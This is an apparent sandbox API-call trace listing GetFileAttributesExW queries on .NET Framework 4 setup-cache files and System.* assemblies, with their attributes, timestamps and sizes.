	[0088.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\NetFx_Full_x64.msi" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\netfx_full_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x126a7908 | out: lpFileInformation=0x126a7908*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x9be73300, ftCreationTime.dwHighDateTime=0x1d0ab53, ftLastAccessTime.dwLowDateTime=0x57259580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9be73300, ftLastWriteTime.dwHighDateTime=0x1d0ab53, nFileSizeHigh=0x0, nFileSizeLow=0x182000)) returned 1
	[0088.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\ParameterInfo.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x126a7958 | out: lpFileInformation=0x126a7958*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xaf9ebf00, ftCreationTime.dwHighDateTime=0x1d0ad36, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xaf9ebf00, ftLastWriteTime.dwHighDateTime=0x1d0ad36, nFileSizeHigh=0x0, nFileSizeLow=0x12936c)) returned 1
	[0088.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Setup.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x126a79a8 | out: lpFileInformation=0x126a79a8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x6d9c3000, ftCreationTime.dwHighDateTime=0x1d0ab20, ftLastAccessTime.dwLowDateTime=0x5d594aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6d9c3000, ftLastWriteTime.dwHighDateTime=0x1d0ab20, nFileSizeHigh=0x0, nFileSizeLow=0x15898)) returned 1
	[0088.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SetupEngine.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\setupengine.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a79f8 | out: lpFileInformation=0x126a79f8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x6d9c3000, ftCreationTime.dwHighDateTime=0x1d0ab20, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6d9c3000, ftLastWriteTime.dwHighDateTime=0x1d0ab20, nFileSizeHigh=0x0, nFileSizeLow=0xd5eb0)) returned 1
	[0088.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SetupUi.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\setupui.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7a48 | out: lpFileInformation=0x126a7a48*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x6d9c3000, ftCreationTime.dwHighDateTime=0x1d0ab20, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6d9c3000, ftLastWriteTime.dwHighDateTime=0x1d0ab20, nFileSizeHigh=0x0, nFileSizeLow=0x4e2a0)) returned 1
	[0088.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SetupUi.xsd" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\setupui.xsd"), fInfoLevelId=0x0, lpFileInformation=0x126a7a98 | out: lpFileInformation=0x126a7a98*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x50eae000, ftCreationTime.dwHighDateTime=0x1d09f04, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x50eae000, ftLastWriteTime.dwHighDateTime=0x1d09f04, nFileSizeHigh=0x0, nFileSizeLow=0x7f3c)) returned 1
	[0088.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SetupUtility.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\setuputility.exe"), fInfoLevelId=0x0, lpFileInformation=0x126a7ae8 | out: lpFileInformation=0x126a7ae8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x6d9c3000, ftCreationTime.dwHighDateTime=0x1d0ab20, ftLastAccessTime.dwLowDateTime=0x61541720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6d9c3000, ftLastWriteTime.dwHighDateTime=0x1d0ab20, nFileSizeHigh=0x0, nFileSizeLow=0x358b0)) returned 1
	[0088.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SplashScreen.bmp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\splashscreen.bmp"), fInfoLevelId=0x0, lpFileInformation=0x126a7b38 | out: lpFileInformation=0x126a7b38*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xb7322d00, ftCreationTime.dwHighDateTime=0x1d06a93, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb7322d00, ftLastWriteTime.dwHighDateTime=0x1d06a93, nFileSizeHigh=0x0, nFileSizeLow=0x1d4f8)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Strings.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\strings.xml"), fInfoLevelId=0x0, lpFileInformation=0x126a7b88 | out: lpFileInformation=0x126a7b88*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xb7322d00, ftCreationTime.dwHighDateTime=0x1d06a93, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb7322d00, ftLastWriteTime.dwHighDateTime=0x1d06a93, nFileSizeHigh=0x0, nFileSizeLow=0x3704)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\UiInfo.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x126a7bd8 | out: lpFileInformation=0x126a7bd8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xb7322d00, ftCreationTime.dwHighDateTime=0x1d06a93, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb7322d00, ftLastWriteTime.dwHighDateTime=0x1d06a93, nFileSizeHigh=0x0, nFileSizeLow=0x111d0)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\windows6.1-kb958488-v6001-x64.msu"), fInfoLevelId=0x0, lpFileInformation=0x126a7c28 | out: lpFileInformation=0x126a7c28*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xe9349500, ftCreationTime.dwHighDateTime=0x1d09f03, ftLastAccessTime.dwLowDateTime=0x574bab80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe9349500, ftLastWriteTime.dwHighDateTime=0x1d09f03, nFileSizeHigh=0x0, nFileSizeLow=0x6d5ca3)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\header.bmp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\header.bmp"), fInfoLevelId=0x0, lpFileInformation=0x126a7c78 | out: lpFileInformation=0x126a7c78*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x94067e00, ftCreationTime.dwHighDateTime=0x1d06a91, ftLastAccessTime.dwLowDateTime=0x5d4d63c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x94067e00, ftLastWriteTime.dwHighDateTime=0x1d06a91, nFileSizeHigh=0x0, nFileSizeLow=0x25bc)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\sqmapi.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\sqmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7cc8 | out: lpFileInformation=0x126a7cc8*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0xeb96ef00, ftCreationTime.dwHighDateTime=0x1d09f03, ftLastAccessTime.dwLowDateTime=0x5d5bac00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xeb96ef00, ftLastWriteTime.dwHighDateTime=0x1d09f03, nFileSizeHigh=0x0, nFileSizeLow=0x37498)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\watermark.bmp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\watermark.bmp"), fInfoLevelId=0x0, lpFileInformation=0x126a7d18 | out: lpFileInformation=0x126a7d18*(dwFileAttributes=0x820, ftCreationTime.dwLowDateTime=0x94067e00, ftCreationTime.dwHighDateTime=0x1d06a91, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x94067e00, ftLastWriteTime.dwHighDateTime=0x1d06a91, nFileSizeHigh=0x0, nFileSizeLow=0x19688)) returned 1
	[0088.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Activities.Core.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.activities.core.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7d68 | out: lpFileInformation=0x126a7d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x618f9980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xac510)) returned 1
	[0088.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Activities.DurableInstancing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.activities.durableinstancing.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7db8 | out: lpFileInformation=0x126a7db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61a2a480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22928)) returned 1
	[0088.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Activities.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.activities.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7e08 | out: lpFileInformation=0x126a7e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61a9c8a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2004f8)) returned 1
	[0088.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Activities.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.activities.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7e58 | out: lpFileInformation=0x126a7e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61991f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174ec0)) returned 1
	[0088.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.AddIn.Contract.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.addin.contract.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7ea8 | out: lpFileInformation=0x126a7ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcad8)) returned 1
	[0088.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.AddIn.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.addin.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7ef8 | out: lpFileInformation=0x126a7ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b34e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x276b0)) returned 1
	[0088.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Collections.Concurrent.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.collections.concurrent.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7f48 | out: lpFileInformation=0x126a7f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7308)) returned 1
	[0088.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Collections.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.collections.dll"), fInfoLevelId=0x0, lpFileInformation=0x126a7f98 | out: lpFileInformation=0x126a7f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ba7240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8)) returned 1
	[0088.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ComponentModel.Annotations.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.componentmodel.annotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4008 | out: lpFileInformation=0x126c4008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61bf3500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7720)) returned 1
	[0088.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ComponentModel.Composition.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.componentmodel.composition.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4058 | out: lpFileInformation=0x126c4058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61c3f7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4bf20)) returned 1
	[0088.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ComponentModel.DataAnnotations.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.componentmodel.dataannotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c40a8 | out: lpFileInformation=0x126c40a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cb1be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1d538)) returned 1
	[0088.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ComponentModel.EventBasedAsync.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.componentmodel.eventbasedasync.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c40f8 | out: lpFileInformation=0x126c40f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61d24000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7338)) returned 1
	[0088.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ComponentModel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.componentmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4148 | out: lpFileInformation=0x126c4148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8)) returned 1
	[0088.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Configuration.Install.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.configuration.install.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4198 | out: lpFileInformation=0x126c4198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66193880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19100)) returned 1
	[0088.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Configuration.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.configuration.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c41e8 | out: lpFileInformation=0x126c41e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x660d51a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x624d0)) returned 1
	[0088.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Core.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.core.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4238 | out: lpFileInformation=0x126c4238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61dbc580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x141ea0)) returned 1
	[0088.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.DataSetExtensions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.datasetextensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4288 | out: lpFileInformation=0x126c4288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61e7ac60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11708)) returned 1
	[0088.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.Entity.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c42d8 | out: lpFileInformation=0x126c42d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ec6f20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1084e8)) returned 1
	[0088.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.Entity.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4328 | out: lpFileInformation=0x126c4328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61fd18c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3d78c8)) returned 1
	[0088.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.Linq.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4378 | out: lpFileInformation=0x126c4378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x621023c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc0)) returned 1
	[0088.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.OracleClient.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.oracleclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c43c8 | out: lpFileInformation=0x126c43c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x66656480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x7bee0)) returned 1
	[0088.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.Services.Client.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.services.client.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4418 | out: lpFileInformation=0x126c4418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6214e680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6c2f0)) returned 1
	[0088.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.Services.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.services.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4468 | out: lpFileInformation=0x126c4468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6219a940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a8e8)) returned 1
	[0088.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.Services.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.services.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c44b8 | out: lpFileInformation=0x126c44b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x621e6c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa3cd0)) returned 1
